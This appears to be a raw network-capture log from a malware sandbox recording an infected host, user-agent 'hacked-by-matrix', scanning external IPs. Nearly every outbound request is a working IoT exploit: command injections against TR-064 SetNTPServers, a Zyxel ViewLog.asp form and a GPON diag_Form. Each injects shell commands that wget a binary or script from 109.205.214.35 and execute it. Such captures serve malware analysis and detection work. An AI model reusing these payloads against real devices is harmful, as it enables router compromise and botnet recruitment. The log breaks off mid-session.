1074	192.168.2.13	54016	47.149.12.231	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:13.683731079 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:14.191324949 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1075	192.168.2.13	51236	213.191.117.74	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.664977074 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:15.628237963 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:15.814364910 CET	1235	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:23:15 GMT Server: Apache/2.4.38 (Debian) WWW-Authenticate: Basic realm="Zdanice - kamery" Content-Length: 456 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 76 65 72 69 66 79 20 74 68 61 74 20 79 6f 75 0a 61 72 65 20 61 75 74 68 6f 72 69 7a 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 0a 72 65 71 75 65 73 74 65 64 2e 20 20 45 69 74 68 65 72 20 79 6f 75 20 73 75 70 70 6c 69 65 64 20 74 68 65 20 77 72 6f 6e 67 0a 63 72 65 64 65 6e 74 69 61 6c 73 20 28 65 2e 67 2e 2c 20 62 61 64 20 70 61 73 73 77 6f 72 64 29 2c 20 6f 72 20 79 6f 75 72 0a 62 72 6f 77 73 65 72 20 64 6f 65 73 6e 27 74 20 75 6e 64 65 72 73 74 61 6e 64 20 68 6f 77 20 74 6f 20 73 75 70 70 6c 79 0a 74 68 65 20 63 72 65 64 65 6e 74 69 61 6c 73 20 72 65 71 75 69 72 65 64 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 33 3a 31 35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 6b 61 6d 65 72 79 2e 7a 64 61 6e 69 63 65 2e 62 75 6c 64 61 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>401 Unauthorized</title></head><body><h1>Unauthorized</h1><p>This server could not verify that youare authorized to access the documentrequested. Either you supplied the wrongcredentials (e.g., bad password), or yourbrowser doesn't understand how to supplythe credentials required.</p><hr><address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:23:15 GMTServer: Apache/2.4.38 (Debian)Content-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.38 (Debian) Server at kamery.zdanice.buldanet Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1076	192.168.2.13	56014	213.6.15.154	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.689872980 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:15.366394043 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:15.578485966 CET	365	IN	HTTP/1.1 301 Moved Permanently X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Strict-Transport-Security: max-age=0 location: https://127.0.0.1:444/cgi-bin/ViewLog.asp Date: Thu, 21 Mar 2024 04:23:15 GMT Connection: keep-alive Keep-Alive: timeout=5 Transfer-Encoding: chunked Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1077	192.168.2.13	50870	109.217.206.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.700789928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1078	192.168.2.13	58364	5.52.17.216	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.700803041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1079	192.168.2.13	48864	5.69.50.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.700820923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1080	192.168.2.13	36750	118.241.54.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.700829029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1081	192.168.2.13	57118	42.11.141.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.700829029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1082	192.168.2.13	48802	109.61.193.212	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.700850964 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1083	192.168.2.13	38052	42.223.49.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.700872898 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1084	192.168.2.13	41974	109.112.219.173	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.700874090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1085	192.168.2.13	43490	118.122.24.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.700894117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1086	192.168.2.13	43256	109.57.21.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.700978041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1087	192.168.2.13	51374	118.168.161.243	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.700982094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1088	192.168.2.13	33908	212.152.210.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.701000929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1089	192.168.2.13	45506	5.255.154.226	443

Timestamp	Bytes transferred	Direction	Data
